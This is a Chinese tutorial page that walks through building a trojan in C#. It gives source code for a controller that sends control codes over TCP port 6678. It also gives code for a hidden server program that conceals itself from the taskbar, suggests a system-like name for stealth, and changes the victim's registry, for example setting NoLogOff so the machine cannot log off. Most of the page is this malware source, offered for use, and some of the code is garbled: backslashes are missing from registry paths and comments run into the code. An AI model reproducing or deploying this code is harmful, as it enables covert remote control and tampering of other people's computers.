用C#实现木马程序

2016-02-19 16:58 74 1 收藏

下面,图老师小编带您去了解一下用C#实现木马程序,生活就是不断的发现新事物,get新技能~

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  木马的介绍

  因为本文是探讨木马程序,所以在介绍之前有一些木马构成的基本知识事先说明。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。

  使用的技术:

  控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。

  控制端开发:

  控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。

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  控制端的开发:

  控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。

  1、连接请求

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使用了.NET类中的 System.Net.Sockets.TcpClient类,TcpClient(string hostname,int port)Hostname 是要控制的主机名称,当然你也可以用IP地址。Port是端口。// System.EventArgs包含事件数据类的基类private void button7_Click(object sender, System.EventArgs e){//记录操作,在richTextBox控件中增加操作信息richTextBox1.AppendText("请求连接" +textBox1.Text +"r");int port =6678;try{//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口client = new TcpClient(textBox1.Text,port);}catch{MessageBox.Show("服务器不在线!确定是否输入主机名称.");richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");}}//private void buttion

  2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 //提供网络访问的数据流

  

//private NetworkStream stream;代码如下:private void button8_Click(object sender, System.EventArgs e){//纪录操作richTextBox1.AppendText("测试连接" +"r");try{stream = client.GetStream();if(stream.CanWrite){//发送控制码string control = "jiance";byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());stream.Write(by,0,by.Length);//下次使用stream.Flush();//启动接收反回数据的线程//receive是线程执行的函数,见后面的分析threadReceive = new Thread(new ThreadStart(receive));threadReceive.Start();}}catch(Exception ee){richTextBox1.AppendText (ee.Message+"r");MessageBox.Show(ee.Message);}}

  3、控制生效的代码

private void button9_Click(object sender, System.EventArgs e){//这里是确定要发送的控制码,RadioButton是窗体控件if(radioButton1.Checked){ control = form2.zhucex;}else if(radioButton2.Checked){ control =form3.zhuces;}else if(radioButton3.Checked){ control = warring;}else if(radioButton4.Checked){ control =suggest;}else if(radioButton5.Checked){ control =form4.mumawe;}else if(radioButton6.Checked){ control =drop;}if (control =="000000"){MessageBox.Show("你没有输入任何控制目标!不发控制信号");richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");}else if(control != "000000"){try{//记录操作richTextBox1.AppendText (control + "正在试图控制,等待回应......" + "r");stream = client.GetStream();if(stream.CanWrite ){byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());stream.Write(by,0,by.Length);stream.Flush();threadReceive =new Thread(new ThreadStart(receive));threadReceive.Start();}//endif}//trycatch{richTextBox1.AppendText("服务器未连接1控制无效!" +"r");MessageBox.Show("服务器未连接1控制无效!" +"r");}}//else if}

  4、线程执行的函数

private void receive(){//设置读取数据的空间byte[] bb = new byte[3];//读取3个字节,i为实际读取的字节数int i = stream.Read(bb,0,3);//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);string ss = System.Text.Encoding.ASCII.GetString(bb);//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功if(ss=="hjc"){MessageBox.Show("连接成功");richTextBox1.AppendText("连接成功");}if(ss== "hkz"){richTextBox1.AppendText(control +"控制成功"+"r");MessageBox.Show(control +"控制成功"+"r");}}

  服务端的开发:

  要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:

  1、在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性ShowInTaskbar属性设为false,让它运行时不会在任务栏中显示,并将属性Windowstate属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:

  

private void InitializeComponent(){//// Form1////窗体显示的起点和大小this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);this.ClientSize = new System.Drawing.Size(368, 357);//窗体名称this.Name = "Form1";//设置属性让它后台运行this.ShowInTaskbar = false;this.Text = "Form1";this.WindowState = System.Windows.Forms.FormWindowState.Minimized;}

  2、控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:

public Form1() //窗体的构造函数{//// Windows 窗体设计器支持所必需的//InitializeComponent();//// TODO: 在 InitializeComponent 调用后添加任何构造函数代码//加入你的侦听代码//端口你可以自已设定,我使用了固定的端口int port =6678;//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的listener = new TcpListener(port);//启动侦听listener.Start();//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()//reControlCode 是线程启动执行的函数,此函数根据接收的控制//控制码选取合适的注册表修改函数Thread thread = new Thread(new ThreadStart(reControlCode));thread.Start();}reControlCode函数如下,完整代码见程序private void reControlCode(){//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求socket = listener.AcceptSocket();//如果连接成功执行while (socket.Connected){//接收控制码byte [] by =new byte[6];int i = socket.Receive(by,by.Length ,0);string ss = System.Text.Encoding.ASCII.GetString(by);//根据控制码执行不同的功能//修改注册表加入编码switch (ss){case "jiance"://测试连接,返回测试信息string str ="hjc";byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);socket.Send(bytee,0,bytee.Length,0);break;case "zx1000"://修改注册表函数,自已定义,见下面分析UnLogOff();//返回控制消息retMessage();break;case "zx0100"://修改注册表函数UnClose();//返回控制消息retMessage();break;//重复的case功能与前面一样,略掉default:break;}//case}//while} //private void reControlCode

  3、C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer

  下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改:

  

private void UnLogOff(){//得到主机的注册表的顶级节点Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;//设置一个注册表子键的变量RegistryKey key1;try{//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键//registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改key1 =rLocal.OpenSubKey("SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer",true);//设置子键的键名,和值key1.SetValue ("NoLogOff",1);//关闭打开的子键key1.Close();//警告字符串设定mystr = mystr +"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer键值NoLogoff被修改!请将它置为0!";}catch{}//如果不存在自已建立if(key1 ==null){try{//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键RegistryKey key2 = rLocal.CreateSubKey("SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer");key2.SetValue("NoLogOff",1);key2.Close();mystr = mystr +"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer键值NoLogoff被修改!请将它置为0!";}catch{}}}

来源:http://www.tulaoshi.com/n/20160219/1613720.html

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